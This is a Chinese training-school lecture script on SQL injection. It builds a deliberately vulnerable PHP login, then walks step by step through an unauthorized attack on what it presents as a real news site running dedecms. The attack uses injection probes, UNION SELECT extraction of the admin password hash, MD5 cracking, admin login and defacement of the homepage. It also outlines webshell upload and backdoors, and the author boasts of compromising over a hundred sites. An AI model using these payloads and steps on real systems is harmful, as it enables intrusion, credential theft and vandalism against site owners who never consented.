For investors
股價(jià):
5.36 美元 %For investors
股價(jià):
5.36 美元 %認(rèn)真做教育 專(zhuān)心促就業(yè)
參賽學(xué)員:鄭三強(qiáng)
獲獎(jiǎng)獎(jiǎng)項(xiàng):一等獎(jiǎng)
前言:①這個(gè)晨講我構(gòu)思了兩個(gè)星期,但是之前電腦壞了,一直拖到昨天才開(kāi)始著手準(zhǔn)備,時(shí)間倉(cāng)促,
能力有限,不到之處請(qǐng)大家批評(píng)指正;
②我盡量將文中涉及的各種技術(shù)原理,專(zhuān)業(yè)術(shù)語(yǔ)講的更加通俗易懂,但這個(gè)前提是諸位能看得懂
基本的SQL語(yǔ)句(想想海璐姐你就懂了);
③本晨講形式為PPT+個(gè)人演講+實(shí)際演示,但因?yàn)門(mén)TS征文限制,少去了很多效果,深表遺憾;
④原創(chuàng)文章,達(dá)內(nèi)首發(fā)。希望喜歡的同學(xué),多多支持!如有疑問(wèn)致信:chinanala@#
=============以下是晨講內(nèi)容腳本,實(shí)戰(zhàn)演練部分配以文字說(shuō)明=============
大家早上好!今天由我給大家?guī)?lái)《web安全之SQL注入篇》系列晨講,首先對(duì)課程進(jìn)行簡(jiǎn)單介紹,SQL注入篇一共分為三講:
第一講:“紙上談兵:我們需要在本地架設(shè)注入環(huán)境,構(gòu)造注入語(yǔ)句,了解注入原理?!?
第二講:“實(shí)戰(zhàn)演練:我們要在互聯(lián)網(wǎng)上隨機(jī)對(duì)網(wǎng)站進(jìn)行友情檢測(cè),活學(xué)活用,舉一反三”;
第三講:“擴(kuò)展內(nèi)容:掛馬,提權(quán),留門(mén)。此講內(nèi)容頗具危害性,不予演示。僅作概述”。
這個(gè)主題涉及的東西還是比較多的,結(jié)合我們前期所學(xué)。主要是讓大家切身體會(huì)一下,管中窺豹,起到知己知彼的作用。千里之堤潰于蟻穴,以后進(jìn)入單位,從事相關(guān)程序開(kāi)發(fā),一定要謹(jǐn)小慎微。
問(wèn):大家知道駭客們攻擊網(wǎng)站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會(huì)工程學(xué) 等等等等,只要有數(shù)據(jù)交互,就會(huì)存在被入侵風(fēng)險(xiǎn)!哪怕你把網(wǎng)線拔掉,物理隔絕,我還可以利用傳感器捕捉電磁輻射信號(hào)轉(zhuǎn)換成模擬圖像。你把門(mén)鎖上,我就爬窗 戶(hù);你把窗戶(hù)關(guān)上,我就翻院墻;你把院墻加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅(jiān)信計(jì)算機(jī)不存在絕對(duì)的安全,你攻我防,此消彼長(zhǎng),有時(shí)候,魔與 道只在一念之間。
下面,就讓我們一起推開(kāi)計(jì)算機(jī)中那另一扇不為人知的門(mén)---
一、紙上談兵
(一)了解注入原理
為 什么會(huì)存在sql注入呢,只能說(shuō)SQL出身不好。因?yàn)閟ql作為一種解釋型語(yǔ)言,在運(yùn)行時(shí)是由一個(gè)運(yùn)行時(shí)組件解釋語(yǔ)言代碼并執(zhí)行其中包含的指令的語(yǔ)言?;?于這種執(zhí)行方式,產(chǎn)生了一系列叫做代碼注入(code injection)的漏洞 。它的數(shù)據(jù)其實(shí)是由程序員編寫(xiě)的代碼和用戶(hù)提交的數(shù)據(jù)共同組成的。程序員在web開(kāi)發(fā)時(shí),沒(méi)有過(guò)濾敏感字符,綁定變量,導(dǎo)致攻擊者可以通過(guò)sql靈活多變的語(yǔ)法,構(gòu)造精心巧妙的語(yǔ)句,不擇手段,達(dá)成目的,或者通過(guò)系統(tǒng)報(bào)錯(cuò),返回對(duì)自己有用的信息。
我 們?cè)趯W(xué)JDBC和SQL時(shí),講師跟我們說(shuō) Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒(méi)錯(cuò), 這句話(huà)是沒(méi)有問(wèn)題的, 但到底如何進(jìn)行SQL注入?怎么直觀的去了解SQL注入?這還是需要花一定的時(shí)間去實(shí)驗(yàn)的.預(yù)編譯語(yǔ)句 java.sql.PreparedStatement ,擴(kuò)展自 Statement,不但具有 Statement 的所有能力而且具有更強(qiáng)大的功能。不同的是,PreparedStatement 是在創(chuàng)建語(yǔ)句對(duì)象的同時(shí)給出要執(zhí)行的sql語(yǔ)句。這樣,sql語(yǔ)句就會(huì)被系統(tǒng)進(jìn)行預(yù)編譯,執(zhí)行的速度會(huì)有所增加,尤其是在執(zhí)行大語(yǔ)句的時(shí)候,效果更加理想。而且PreparedStatement中綁定的sql語(yǔ)句是可以帶參數(shù)的。
(二)架設(shè)注入環(huán)境
我 們知道現(xiàn)在php作為一門(mén)網(wǎng)頁(yè)編程語(yǔ)言真是風(fēng)生水起,利用lamp(linux+apache+mysql+php)或者 wamp(windows+apache+mysql+php)搭建網(wǎng)站環(huán)境,如騰訊的discuz、阿里的 phpwind 以及織夢(mèng)的dedecms 等建站程序,占據(jù)了國(guó)內(nèi)網(wǎng)站的半壁江山。那么我們今天即以這種架構(gòu)為假象敵,首先是在本地架設(shè)wamp環(huán)境。需要用到的工具 有:apache,mysql,php ,這幾個(gè)組件可以單獨(dú)下載安裝,不過(guò)安裝配置過(guò)程較為繁瑣,還是建議新手直接從網(wǎng)上下載phpnow ,一個(gè)綠色程序,包含上述三個(gè)組件,傻瓜化操作就可以了。
然后呢,我們要建立測(cè)試用的數(shù)據(jù)表,編寫(xiě)html,php,文件,通過(guò)實(shí)例具體來(lái)演示通過(guò)SQL注入,登入后臺(tái)管理員界面。這里,我之前已經(jīng)寫(xiě)好了,大家看下:
1.創(chuàng)建一張?jiān)囼?yàn)用的數(shù)據(jù)表:
CREATE TABLE users ( id int(11) NOT NULL AUTO_INCREMENT, username varchar(64) NOT NULL, password varchar(64) NOT NULL, email varchar(64) NOT NULL, PRIMARY KEY (id), UNIQUE KEY username (username) );
添加一條記錄用于測(cè)試:
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@#');
2.接下來(lái),貼上登錄界面的源代碼:
<html> <head> <title>Sql注入演示</title> <meta http-equiv="content-type" content="text/html;charset=utf-8"> </head> <body > <form action="validate.php" method="post"> <fieldset > <legend>Sql注入演示</legend> <table> <tr> <td>用戶(hù)名:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>密 碼:</td> <td><input type="text" name="password"></td> </tr> <tr> <td><input type="submit" value="提交"></td> <td><input type="reset" value="重置"></td> </tr> </table> </fieldset> </form> </body> </html>
當(dāng)用戶(hù)點(diǎn)擊提交按鈕的時(shí)候,將會(huì)把表單數(shù)據(jù)提交給validate.php頁(yè)面,validate.php頁(yè)面用來(lái)判斷用戶(hù)輸入的用戶(hù)名和密碼有沒(méi)有都符合要求(這一步至關(guān)重要,也往往是SQL漏洞所在)。
3.驗(yàn)證模塊代碼如下:
<html> <head> <title>登錄驗(yàn)證</title> <meta http-equiv="content-type" content="text/html;charset=utf-8"> </head> <body> <?php $conn=@mysql_connect("localhost",'root','') or die("數(shù)據(jù)庫(kù)連接失??!");; mysql_select_db("injection",$conn) or die("您要選擇的數(shù)據(jù)庫(kù)不存在"); $name=$_POST['username']; $pwd=$_POST['password']; $sql="select * from users where username='$name' and password='$pwd'"; $query=mysql_query($sql); $arr=mysql_fetch_array($query); if(is_array($arr)){ header("Location:manager.php"); }else{ echo "您的用戶(hù)名或密碼輸入有誤,<a href=\"Login.php\">請(qǐng)重新登錄!</a>"; } ?> </body> </html>
注意到了沒(méi)有,我們直接將用戶(hù)提交過(guò)來(lái)的數(shù)據(jù)(用戶(hù)名和密碼)直接拿去執(zhí)行,并沒(méi)有實(shí)現(xiàn)進(jìn)行特殊字符過(guò)濾,待會(huì)你們將明白,這是致命的。
代碼分析:如果,用戶(hù)名和密碼都匹配成功的話(huà),將跳轉(zhuǎn)到管理員操作界面(manager.php),不成功,則給出友好提示信息。
(三)演示注入手法
到這里,前期工作已經(jīng)做好了,我們看這個(gè)登錄界面,雖說(shuō)是簡(jiǎn)陋了點(diǎn)。但具有一般登錄認(rèn)證的功能。普通人看這個(gè)不過(guò)是一個(gè)登錄界面,但從攻擊者角度來(lái)說(shuō),透過(guò)現(xiàn)象看本質(zhì),我們應(yīng)當(dāng)意識(shí)到隱藏在這個(gè)登錄頁(yè)面背后的是一條select 語(yǔ)句---
OK! 接下來(lái)將展開(kāi)我們的重頭戲:SQL注入
填好正確的用戶(hù)名(tarena)和密碼(admin)后,點(diǎn)擊提交,將會(huì)返回給我們“歡迎管理員”的界面。
因?yàn)楦鶕?jù)我們提交的用戶(hù)名和密碼被合成到SQL查詢(xún)語(yǔ)句當(dāng)中之后是這樣的:
select * from users where username='tarena' and password=md5('admin')
很明顯,用戶(hù)名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個(gè)錯(cuò)誤的用戶(hù)名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對(duì)于有SQL注入漏洞的網(wǎng)站來(lái)說(shuō),只要構(gòu)造個(gè)特殊的“字符串”,照樣能夠成功登錄。
比如:在用戶(hù)名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時(shí)候的合成后的SQL查詢(xún)語(yǔ)句為:
select * from users where username='' or 1=1#' and password=md5('')
語(yǔ)義分析:“#”在mysql中是注釋符,這樣井號(hào)后面的內(nèi)容將被mysql視為注釋內(nèi)容,這樣就不會(huì)去執(zhí)行了,換句話(huà)說(shuō),以下的兩句sql語(yǔ)句等價(jià):
select * from users where username='' or 1=1#' and password=md5('')
等價(jià)于
select * from users where username='' or 1=1
因?yàn)?=1永遠(yuǎn)都是成立的,即where子句總是為真,將該sql進(jìn)一步簡(jiǎn)化之后,等價(jià)如下select語(yǔ)句:
select * from users
沒(méi)錯(cuò),該sql語(yǔ)句的作用是檢索users表中的所有字段
果不其然,我們利用萬(wàn)能語(yǔ)句(’or 1=1#)能夠登錄!看到了吧,一個(gè)經(jīng)構(gòu)造后的sql語(yǔ)句竟有如此可怕的破壞力,相信你看到這后,開(kāi)始對(duì)sql注入有了一個(gè)理性的認(rèn)識(shí)了吧~
二、實(shí)戰(zhàn)演練
OK,前面鋪墊了那么多,算是給大家科普了。現(xiàn)在我們進(jìn)行第二講,實(shí)戰(zhàn)演練。開(kāi)始之前呢,有一個(gè)互動(dòng)環(huán)節(jié)?,F(xiàn)在請(qǐng)大家用自己的手機(jī)登錄 # 這個(gè)網(wǎng)址,簡(jiǎn)單看下。待會(huì)等我們注入攻擊之后,再次登錄,好對(duì)比效果,對(duì)于sql注入攻擊有一個(gè)更加直觀的認(rèn)識(shí)。
(一)積極備戰(zhàn)
1。首先設(shè)置瀏覽器,工具--internet選項(xiàng)--安全--找到“顯示友好的http信息”,把前面的勾去掉;
2。打開(kāi)谷歌,尋找注入點(diǎn)。為了節(jié)省時(shí)間,這里我已經(jīng)事先找好目標(biāo)點(diǎn)
#;
谷歌搜索小技巧:篩選關(guān)鍵字:"inurl:/news/read.php?id="
(二)狼煙四起
1。我們打開(kāi)這個(gè)網(wǎng)址,一個(gè)新聞網(wǎng)站,,我們點(diǎn)擊[百家爭(zhēng)鳴]板塊,這是一個(gè)國(guó)內(nèi)外新聞速覽的欄目,好多時(shí)政的帖子,我們點(diǎn)擊一個(gè),OK,現(xiàn)在進(jìn)入單個(gè)帖子界面,首先我們看下當(dāng)前帖子的URL地址,
#/news/read.php?id=50
可以看出這是一個(gè)動(dòng)態(tài)URL,也就是說(shuō)可以在地址欄中傳參,這是SQL注入的基本條件。
2。判斷是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。這兩句什么意思呢? 一個(gè)恒等式,一個(gè)恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 時(shí)帖子返回出錯(cuò),說(shuō)明sql語(yǔ)句被執(zhí)行,程序沒(méi)有對(duì)敏感字符進(jìn)行過(guò)濾?,F(xiàn)在我們可以確定此處是一個(gè)SQL注入點(diǎn),程序?qū)氲膮?shù)沒(méi)有做任何處理,直接帶到數(shù)據(jù)庫(kù)的查詢(xún)語(yǔ)句中??梢酝茢喑鲈谠L問(wèn)
#/news/read.php?id=50
時(shí)數(shù)據(jù)庫(kù)中執(zhí)行的SQL語(yǔ)句大概是這樣的:
Select * from [表名] where id=50
添加and 1=1后的SQL語(yǔ)句:
Select * from [表名] where id=50 and 1=1
由于條件and 1=1永遠(yuǎn)為真,所以返回的頁(yè)面和正常頁(yè)面是一致的
添加and 1=2后的SQL語(yǔ)句:
Select * from [表名] where id=50 and 1=2
由于條件1=2永遠(yuǎn)為假,所以返回的頁(yè)面和正常頁(yè)面不一致
3。爆數(shù)據(jù)庫(kù)。確定注入點(diǎn)僅僅意味著開(kāi)始?,F(xiàn)在,我們回到原先的帖子地址:
#/news/read.php?id=50
現(xiàn)在要判斷數(shù)據(jù)庫(kù)類(lèi)型以及版本,構(gòu)造語(yǔ)句如下:
#/news/read.php?id=50 and ord(mid(version(),1,1))>51
發(fā)現(xiàn)返回正常頁(yè)面,說(shuō)明數(shù)據(jù)庫(kù)是mysql,并且版本大于4.0,支持union查詢(xún),反之是4.0
以下版本或者其他類(lèi)型數(shù)據(jù)庫(kù)。
4。爆字段。接著我們?cè)贅?gòu)造如下語(yǔ)句來(lái)猜表中字段:
a. #/news/read.php?id=50 order by 10
返回錯(cuò)誤頁(yè)面,說(shuō)明字段小于10
b. #/news/read.php?id=50 order by 5
返回正常頁(yè)面,說(shuō)明字段介于5和10之間
c. #/news/read.php?id=50 order by 7
返回錯(cuò)誤頁(yè)面,說(shuō)明字段大于5小于7,可以判斷字段數(shù)是6.下面我們?cè)賮?lái)確認(rèn)一下
d. #/news/read.php?id=50 order by 6
返 回正常頁(yè)面,說(shuō)明字段確實(shí)是6這里采用了“二分查找法”,這樣可以減少判斷次數(shù),節(jié)省時(shí)間。如果采用從order by 1依次增加數(shù)值的方法來(lái)判斷,需要7次才可以確定字段數(shù),采用“二分查找法”只需要4次就夠。當(dāng)字段數(shù)很大時(shí),二分查找法的優(yōu)勢(shì)更加明顯,效率更高。
5。爆表.確定字段之后現(xiàn)在我們要構(gòu)造聯(lián)合查詢(xún)語(yǔ)句(union select ),語(yǔ)句如下:
#/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我們來(lái)看帖子頁(yè)面,原先內(nèi)容沒(méi)有了,取而代之的是返回給了我們 三個(gè)數(shù)字,分別是3,5,6 我們隨便選擇一個(gè),這里的3,5,6指的是我們可以把聯(lián)合查詢(xún)的對(duì)應(yīng)位置替換為 我們想要查詢(xún)的關(guān)鍵字,比如版本,數(shù)據(jù)庫(kù)名稱(chēng),主要是用來(lái)探測(cè)web系統(tǒng)的信息。
6。爆用戶(hù)名、密碼。我們選擇3 吧,OK,現(xiàn)在把3給替換掉,先查詢(xún)下數(shù)據(jù)庫(kù)庫(kù)名,構(gòu)造語(yǔ)句如下
#/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
瀏覽器給我們返回了 xinwen 。說(shuō)明這個(gè)網(wǎng)站 的數(shù)據(jù)庫(kù)庫(kù)名是 xinwen .
現(xiàn)在我們用同樣的手法查詢(xún)下 管理員信息 ,構(gòu)造語(yǔ)句如下:
#/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是個(gè)管理員權(quán)限。
現(xiàn)在我們?cè)儆猛瑯拥氖址ú樵?xún)用戶(hù)名,密碼,構(gòu)造語(yǔ)句如下:
#/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
#/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5 解密。看到這里,有的同學(xué)可能會(huì)有點(diǎn)緊張。其實(shí)返回的這個(gè)是字符串密碼經(jīng)過(guò)32位md5加密后的值。上次大帝給我們復(fù)習(xí)的時(shí)候 講過(guò)加密與解密。也稍稍提到了md5 摘要算法,不可逆。話(huà)雖如此,現(xiàn)在互聯(lián)網(wǎng)上crack md5 “解密”md5 的網(wǎng)站很多,這里我給解密加了引號(hào),是因?yàn)槠洹敖饷堋痹硎?md5 值既然不能進(jìn)行 逆向破解,但是同樣的字符串經(jīng)過(guò)同樣的md5加密算法所生成的md5值是一樣的,我們可以重新構(gòu)造字符串生成md5值,然后對(duì)比兩個(gè)值,如果一樣則字符串 一樣。有人說(shuō),這種方法豈不是海底撈針,試到猴年馬月去啊,其實(shí)不然,互聯(lián)網(wǎng)云時(shí)代已經(jīng)到來(lái),大數(shù)據(jù)的信息挖掘以及分布式運(yùn)算可以解決很多類(lèi)似大運(yùn)算量的 問(wèn)題。我們現(xiàn)在就要來(lái)對(duì)這個(gè)md5值進(jìn)行比對(duì),有好多網(wǎng)站提供這種服務(wù),我們找一個(gè)。(# ) 這個(gè)網(wǎng)址,我們把這個(gè)值復(fù)制進(jìn)去,然后點(diǎn)擊“MD5 CRACK“,“解密”時(shí)間,視密碼復(fù)雜度而定,OK,結(jié)果出來(lái),(chinaadmin)
8。登錄后臺(tái)?,F(xiàn)在我們已經(jīng)拿到網(wǎng)站的管理員帳號(hào)密碼,感謝上帝,一路順風(fēng),但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門(mén)。下面我們就來(lái)找一下門(mén),找之前要有個(gè)基本思路:
①先試下幾個(gè)比較常用的目錄;
②不行的話(huà),因?yàn)檫@個(gè)論壇程序是dedecms5.6 ,所以我們就到 織夢(mèng)官方,下載一套同樣程序, 分析網(wǎng)站管理路徑,或者直接百度“dedecms默認(rèn)管理界面”即可,下載步驟可省略;
③手工不通,借力工具。明小子,啊D,御劍,都可以。
9。這里我們發(fā)現(xiàn)此網(wǎng)站依然采用程序默認(rèn)管理路徑:
#/dede
輸入用戶(hù)名 admin ,密碼 chinaadmin 成功登入。
接 下來(lái),我們找到【核心】--【附件管理】--【文件式管理器】--這時(shí)我們可以看到網(wǎng)站根目錄下所有目錄以及文件,下標(biāo)欄還有幾個(gè)功能選項(xiàng),我們可以看到 網(wǎng)站首頁(yè)文件【index.html】,點(diǎn)擊【修改】,進(jìn)入網(wǎng)頁(yè)源代碼編輯模式,刪除所有源碼(這招有點(diǎn)毒,勸告別改人家的源碼,建議新建一個(gè)文件),留 個(gè)言,表示到此一游。
卑鄙是卑鄙者的通行證,高尚是高尚者的墓志銘----- 北島
現(xiàn)在是見(jiàn)證奇跡的時(shí)刻!請(qǐng)大家再次登錄這個(gè)網(wǎng)站,有沒(méi)有把你和你的小伙伴們驚呆呢?!
至此,戰(zhàn)斗結(jié)束。若干年的免費(fèi)住宿,一日三餐在向你招手。。。
三、擴(kuò)展部分
鑒于此講內(nèi)容危害性較大,不予演示。只簡(jiǎn)述其流程。
(一)webshell提權(quán)
二講結(jié)束,我們僅僅取得網(wǎng)站管理員權(quán)限,操作范圍僅限當(dāng)前網(wǎng)站。革命尚未成功,同志仍需努力。若想深入挖掘,則必須尋求更大突破。獲得網(wǎng)站webshell .
①準(zhǔn)備一個(gè)php網(wǎng)馬。(網(wǎng)上泛濫成災(zāi),自己下載。但要注重分辨,小心螳螂捕蟬黃雀在后);
②登錄網(wǎng)站后臺(tái)--【核心】--【附件管理】--【文件式管理器】--選擇下標(biāo)欄中的【文件上傳
選項(xiàng),上傳我們實(shí)現(xiàn)準(zhǔn)備的php網(wǎng)馬文件(tarena.php);
③上傳完畢,點(diǎn)擊預(yù)覽,記錄下url地址。新建瀏覽器窗口,復(fù)制粘貼,打開(kāi)之后,可以看到我們的網(wǎng)馬成功掛載,輸入密碼tarena(密碼可以自行用記事本打開(kāi)修改編輯);
④進(jìn) 入網(wǎng)馬管理界面,你會(huì)被那華麗麗的操作選項(xiàng)驚呆了!(取決網(wǎng)馬水平,小馬就別談了,這里指的是大馬)。從程序目錄-網(wǎng)站根目錄-各種強(qiáng)大的功能,乃至直接 操作服務(wù)器磁盤(pán)文件,獲取各種系統(tǒng)信息,躍馬揚(yáng)鞭,如入無(wú)人之境。其破壞力之大,令人咂舌!所以拜托各位親,一定要盜亦有道,手下留情,除了靠法律監(jiān)管, 也要靠個(gè)人道德約束。
(二)暗修棧道
浴血奮戰(zhàn)、攻城拔寨之后,怎樣保衛(wèi)來(lái)之不易的勝利果實(shí)?政治治大國(guó)若烹小鮮,入侵則烹小鮮如治大國(guó)。為長(zhǎng)遠(yuǎn)計(jì),我們需要建立一種長(zhǎng)期和肉雞保持聯(lián)系的機(jī)制。而且還要很隱蔽,畢竟這是見(jiàn)不得光的。留后門(mén)的方法諸多:
①開(kāi)啟telnet服務(wù)
建立匿名賬戶(hù),添加至超級(jí)管理員組;
②開(kāi)啟遠(yuǎn)程終端服務(wù);
③自制木馬觸發(fā)事件...
因系統(tǒng)平臺(tái)而異,這里不再贅言。
后注:①可能有讀者會(huì)覺(jué)得此文很假,的確,鑒于篇幅問(wèn)題,文中目標(biāo)站點(diǎn)是我事先踩點(diǎn)過(guò)的,所以才
會(huì)一路凱歌,事實(shí)上很少會(huì)有站點(diǎn)會(huì)如此理想,但萬(wàn)變不離其宗,只是時(shí)間問(wèn)題罷了。
②文中所述演示環(huán)境建立在同時(shí)滿(mǎn)足兩個(gè)條件下:
1.php配置文件中魔術(shù)引號(hào)已關(guān)閉;
2.建站程序中沒(méi)有對(duì)用戶(hù)輸入字符進(jìn)行過(guò)濾。
實(shí) 際生活中,類(lèi)似的SQL注入漏洞已是明日黃花,國(guó)內(nèi)大大小小的網(wǎng)站都已經(jīng)補(bǔ)上漏洞。但,百密必有一疏,入侵是偶然的,但安全絕對(duì)不是必然的。筆者曾在晨講 之前利用了一天的時(shí)間,采取手工加工具的手段批量掃描了一批站點(diǎn),并最終成功攻克一百有余。其中SQL注入漏洞確實(shí)很少,但各類(lèi)0day漏洞層出不窮,更 為嚴(yán)重的是后者比前者更加致命,互聯(lián)網(wǎng)的高速發(fā)展給人們帶來(lái)便利的同時(shí)也潛伏著非常多的風(fēng)險(xiǎn),目前國(guó)內(nèi)網(wǎng)絡(luò)安全領(lǐng)域人才缺口非常大!希望達(dá)內(nèi)能夠?qū)彆r(shí)度 勢(shì),占領(lǐng)市場(chǎng)先機(jī),早日開(kāi)設(shè)網(wǎng)絡(luò)安全專(zhuān)業(yè),為社會(huì)經(jīng)濟(jì)建設(shè)保駕護(hù)航。
---癸巳年六月十五日
【免責(zé)聲明】本文部分系轉(zhuǎn)載,轉(zhuǎn)載目的在于傳遞更多信息,并不代表本網(wǎng)贊同其觀點(diǎn)和對(duì)其真實(shí)性負(fù)責(zé)。如涉及作品內(nèi)容、版權(quán)和其它問(wèn)題,請(qǐng)?jiān)?0日內(nèi)與聯(lián)系我們,我們會(huì)予以更改或刪除相關(guān)文章,以保證您的權(quán)益!